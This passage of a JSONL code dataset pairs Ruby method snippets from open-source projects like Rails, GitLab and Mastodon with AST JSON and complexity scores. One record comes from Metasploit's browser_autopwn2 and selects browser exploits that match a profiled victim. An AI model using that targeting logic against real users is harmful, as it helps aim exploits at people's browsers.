{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/test_helper_test.rb","start_line":1460,"raw_source":"def test_assert_performed_jobs_with_only_and_queue_options\n      assert_performed_jobs 1, only: HelloJob, queue: :some_queue do\n        HelloJob.set(queue: :some_queue).perform_later(\"jeremy\")\n        HelloJob.set(queue: :other_queue).perform_later(\"bogdan\")\n        LoggingJob.set(queue: :some_queue).perform_later(\"jeremy\")\n      end\n    end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_performed_jobs_with_only_and_queue_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_performed_jobs\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"const\",\"children\":[null,\"HelloJob\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue\"]},{\"type\":\"sym\",\"children\":[\"some_queue\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelloJob\"]},\"set\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue\"]},{\"type\":\"sym\",\"children\":[\"some_queue\"]}]}]}]},\"perform_later\",{\"type\":\"str\",\"children\":[\"jeremy\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelloJob\"]},\"set\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue\"]},{\"type\":\"sym\",\"children\":[\"other_queue\"]}]}]}]},\"perform_later\",{\"type\":\"str\",\"children\":[\"bogdan\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LoggingJob\"]},\"set\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue\"]},{\"type\":\"sym\",\"children\":[\"some_queue\"]}]}]}]},\"perform_later\",{\"type\":\"str\",\"children\":[\"jeremy\"]}]}]}]}]}","id":"a53de152-5d08-4748-9b3a-15e1e0d9066f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/resource_milestone_event_finder.rb","start_line":13,"raw_source":"def execute\n    eventable.resource_milestone_events.include_relations\n      .where(milestone_id: readable_milestone_ids) # rubocop: disable CodeReuse/ActiveRecord\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"eventable\"]},\"resource_milestone_events\"]},\"include_relations\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"milestone_id\"]},{\"type\":\"send\",\"children\":[null,\"readable_milestone_ids\"]}]}]}]}]}","id":"dd50d1d2-d337-4552-a710-5668093041e2"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/groups.rb","start_line":135,"raw_source":"def add_user!(user_name)\n      open_users_tab!\n      SeleniumHubWaiter.wait\n\n      select_autocomplete page.find(\".new-group-members--autocomplete\"),\n                          query: user_name\n      click_on \"Add\"\n    end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"add_user!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"open_users_tab!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SeleniumHubWaiter\"]},\"wait\"]},{\"type\":\"send\",\"children\":[null,\"select_autocomplete\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"str\",\"children\":[\".new-group-members--autocomplete\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"lvar\",\"children\":[\"user_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"click_on\",{\"type\":\"str\",\"children\":[\"Add\"]}]}]}]}","id":"13945664-7f74-49a0-bf7a-cb3351105a32"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/browser_autopwn2.rb","start_line":588,"raw_source":"def get_suitable_exploits(cli, request)\n      current_exploit_list = []\n      tag = retrieve_tag(cli, request)\n      profile_info = browser_profile[tag]\n      bap_exploits.each do |m|\n        if m.get_bad_requirements(profile_info).empty?\n          current_exploit_list << m\n        end\n      end\n\n      if datastore['ShowExploitList']\n        show_exploit_list(cli.peerhost, tag, current_exploit_list)\n      end\n\n      current_exploit_list\n    end","complexity_score":19.7,"ast_json":"{\"type\":\"def\",\"children\":[\"get_suitable_exploits\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_exploit_list\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"tag\",{\"type\":\"send\",\"children\":[null,\"retrieve_tag\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"profile_info\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"browser_profile\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"tag\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bap_exploits\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"get_bad_requirements\",{\"type\":\"lvar\",\"children\":[\"profile_info\"]}]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_exploit_list\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"m\"]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ShowExploitList\"]}]},{\"type\":\"send\",\"children\":[null,\"show_exploit_list\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]},{\"type\":\"lvar\",\"children\":[\"tag\"]},{\"type\":\"lvar\",\"children\":[\"current_exploit_list\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"current_exploit_list\"]}]}]}","id":"dee2eaee-b8c2-4174-9546-ecaec6643a57"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/internal_events/cli/subflows/event_metric_definer.rb","start_line":144,"raw_source":"def selected_events_filter_options\n        filterable_events_selected = selected_events.any? { |event| event.additional_properties&.any? }\n\n        selected_events.map do |event|\n          filters = event.additional_properties&.keys\n          filter_phrase = if filters\n                            \" (filterable by #{filters&.join(', ')})\"\n                          elsif filterable_events_selected\n                            ' -- not filterable'\n                          end\n\n          \"  - #{event.action}#{format_help(filter_phrase)}\\n\"\n        end\n      end","complexity_score":21.2,"ast_json":"{\"type\":\"def\",\"children\":[\"selected_events_filter_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filterable_events_selected\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"selected_events\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"additional_properties\"]},\"any?\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"selected_events\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filters\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"additional_properties\"]},\"keys\"]}]},{\"type\":\"lvasgn\",\"children\":[\"filter_phrase\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filters\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" (filterable by \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filters\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filterable_events_selected\"]},{\"type\":\"str\",\"children\":[\" -- not filterable\"]},null]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"action\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"format_help\",{\"type\":\"lvar\",\"children\":[\"filter_phrase\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}]}","id":"59f6038f-b6b4-47ff-b292-908faa323f8f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/rest/account_warning_serializer.rb","start_line":13,"raw_source":"def status_ids\n    object&.status_ids&.map(&:to_s)\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"status_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"status_ids\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]}","id":"5b25affd-c6b8-48a3-ae6e-c5c8363f2db6"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/callbacks.rb","start_line":232,"raw_source":"def self.build(chain, filter, kind, options)\n          if filter.is_a?(String)\n            raise ArgumentError, <<-MSG.squish\n              Passing string to define a callback is not supported. See the `.set_callback`\n              documentation to see supported values.\n            MSG\n          end\n\n          new chain.name, filter, kind, options, chain.config\n        end","complexity_score":7.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"build\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"chain\"]},{\"type\":\"arg\",\"children\":[\"filter\"]},{\"type\":\"arg\",\"children\":[\"kind\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"              Passing string to define a callback is not supported. See the `.set_callback`\\n\"]},{\"type\":\"str\",\"children\":[\"              documentation to see supported values.\\n\"]}]},\"squish\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chain\"]},\"name\"]},{\"type\":\"lvar\",\"children\":[\"filter\"]},{\"type\":\"lvar\",\"children\":[\"kind\"]},{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chain\"]},\"config\"]}]}]}]}","id":"8ca43d48-4632-4d88-b54b-6cb0f0f5d846"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/database/schema/loader.rb","start_line":24,"raw_source":"def load_tables\n      @db = ActiveRecord::Base.lease_connection\n\n      tables = []\n      existing_table_names = @db.tables.to_set\n\n      @schema_config[:tables].sort.each do |table_name, config|\n        table_name = table_name.to_s\n\n        if config[:copy_of].present?\n          table_alias = table_name\n          table_name = config[:copy_of]\n        else\n          next if @global.excluded_table_name?(table_name)\n        end\n\n        if existing_table_names.include?(table_name)\n          tables << table(table_name, config, table_alias)\n        end\n      end\n\n      @db = nil\n      ActiveRecord::Base.release_connection\n\n      tables\n    end","complexity_score":31.0,"ast_json":"{\"type\":\"def\",\"children\":[\"load_tables\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@db\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]}]},{\"type\":\"lvasgn\",\"children\":[\"tables\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"existing_table_names\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@db\"]},\"tables\"]},\"to_set\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@schema_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tables\"]}]},\"sort\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"table_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"copy_of\"]}]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"table_alias\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"table_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"copy_of\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@global\"]},\"excluded_table_name?\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"next\",\"children\":[]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_table_names\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tables\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"table\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"config\"]},{\"type\":\"lvar\",\"children\":[\"table_alias\"]}]}]},null]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@db\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"release_connection\"]},{\"type\":\"lvar\",\"children\":[\"tables\"]}]}]}","id":"8a307714-e1a4-4b7f-9329-8b32eacf61b1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers/packages/nuget.rb","start_line":23,"raw_source":"def package_finder(package_name, package_version = nil)\n          ::Packages::Nuget::PackageFinder.new(\n            current_user,\n            project_or_group,\n            package_name: package_name,\n            package_version: package_version,\n            client_version: headers['X-Nuget-Client-Version']\n          )\n        end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"package_finder\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"package_name\"]},{\"type\":\"optarg\",\"children\":[\"package_version\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Nuget\"]},\"PackageFinder\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"project_or_group\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"package_name\"]},{\"type\":\"lvar\",\"children\":[\"package_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"package_version\"]},{\"type\":\"lvar\",\"children\":[\"package_version\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client_version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"X-Nuget-Client-Version\"]}]}]}]}]}]}","id":"cdd4a937-2143-4594-9bc6-772109c727dc"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/action_view/template/handlers/liquid.rb","start_line":6,"raw_source":"def self.call(template, _source)\n    \"ActionView::Template::Handlers::Liquid.new(self).render(#{template.source.inspect}, local_assigns)\"\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"template\"]},{\"type\":\"arg\",\"children\":[\"_source\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ActionView::Template::Handlers::Liquid.new(self).render(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"source\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\", local_assigns)\"]}]}]}","id":"d0017633-5e2d-4c2b-b8c8-c1fd2e562d86"}
{"repo_name":"rack","file_path":"./repos/rack/test/spec_lint.rb","start_line":16,"raw_source":"def env(options = {})\n    unless options.key?(:input)\n      options[:input] = String.new\n    end\n\n    Rack::MockRequest.env_for(\"/\", options)\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"env\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"input\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"input\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},\"new\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"MockRequest\"]},\"env_for\",{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"c1ad5672-71ad-40fb-9163-3a3d58bda3c9"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/slicing_with_range.rb","start_line":77,"raw_source":"def on_send(node)\n          return unless node.arguments.one?\n\n          range_node = node.first_argument\n          offense_range = find_offense_range(node)\n          return unless (message, removal_range =\n                           offense_message_with_removal_range(node, range_node, offense_range))\n\n          # Changing the range to beginningless or endless when unparenthesized\n          # changes the semantics of the code, and thus will not be considered\n          # an offense.\n          return if removal_range != offense_range && unparenthesized_call?(node)\n\n          add_offense(offense_range, message: message) do |corrector|\n            corrector.remove(removal_range)\n          end\n        end","complexity_score":19.5,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"arguments\"]},\"one?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"range_node\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"first_argument\"]}]},{\"type\":\"lvasgn\",\"children\":[\"offense_range\",{\"type\":\"send\",\"children\":[null,\"find_offense_range\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\"]},{\"type\":\"lvasgn\",\"children\":[\"removal_range\"]}]},{\"type\":\"send\",\"children\":[null,\"offense_message_with_removal_range\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"range_node\"]},{\"type\":\"lvar\",\"children\":[\"offense_range\"]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"removal_range\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"offense_range\"]}]},{\"type\":\"send\",\"children\":[null,\"unparenthesized_call?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"offense_range\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"lvar\",\"children\":[\"removal_range\"]}]}]}]}]}","id":"0e88b607-b07c-4820-8fb2-1eff36fa3ffc"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/data_update_script.rb","start_line":20,"raw_source":"def scripts_to_run?\n      db_scripts = DataUpdateScript.pluck(:file_name, :status).to_h\n\n      return true if filenames.size > db_scripts.size\n      return true if db_scripts.values.any? { |s| s.to_sym == :enqueued }\n\n      false\n    end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"scripts_to_run?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"db_scripts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DataUpdateScript\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"file_name\"]},{\"type\":\"sym\",\"children\":[\"status\"]}]},\"to_h\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filenames\"]},\"size\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_scripts\"]},\"size\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_scripts\"]},\"values\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"to_sym\"]},\"==\",{\"type\":\"sym\",\"children\":[\"enqueued\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"false\",\"children\":[]}]}]}","id":"57f9a9c4-fc42-4632-837c-133a0a4383e5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/controllers/projects/issues_controller_spec.rb","start_line":711,"raw_source":"def go(id:)\n      get :realtime_changes,\n        params: {\n          namespace_id: project.namespace.to_param,\n          project_id: project,\n          id: id\n        }\n    end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"go\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"realtime_changes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace\"]},\"to_param\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]}]}]}","id":"bf41d084-3d5e-4689-a18f-fdedcfcf8c8b"}
{"repo_name":"aasm","file_path":"./repos/aasm/lib/aasm/core/state.rb","start_line":44,"raw_source":"def to_s\n      name.to_s\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"to_s\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"to_s\"]}]}","id":"b99c4f1d-cce5-4cfc-9e70-0d5fc97fe769"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/compat/test_parser.rb","start_line":31,"raw_source":"def test_lookup_known_parser(data)\n    $LOAD_PATH.unshift(File.join(File.expand_path(File.dirname(__FILE__)), '..', 'scripts'))\n    assert_nothing_raised Fluent::ConfigError do\n      Fluent::Plugin.new_parser(data)\n    end\n    $LOAD_PATH.shift\n  end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_lookup_known_parser\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$LOAD_PATH\"]},\"unshift\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"str\",\"children\":[\"(method)\"]}]}]},{\"type\":\"str\",\"children\":[\"..\"]},{\"type\":\"str\",\"children\":[\"scripts\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Plugin\"]},\"new_parser\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$LOAD_PATH\"]},\"shift\"]}]}]}","id":"465f82f4-2039-4674-bf11-7a6d9188cc55"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/dirty_test.rb","start_line":507,"raw_source":"def test_changes_to_save_should_not_mutate_array_of_hashes\n    topic = Topic.new(author_name: \"Bill\", content: [{ \"a\" => \"a\" }])\n\n    topic.changes_to_save\n\n    assert_equal [{ \"a\" => \"a\" }], topic.content\n  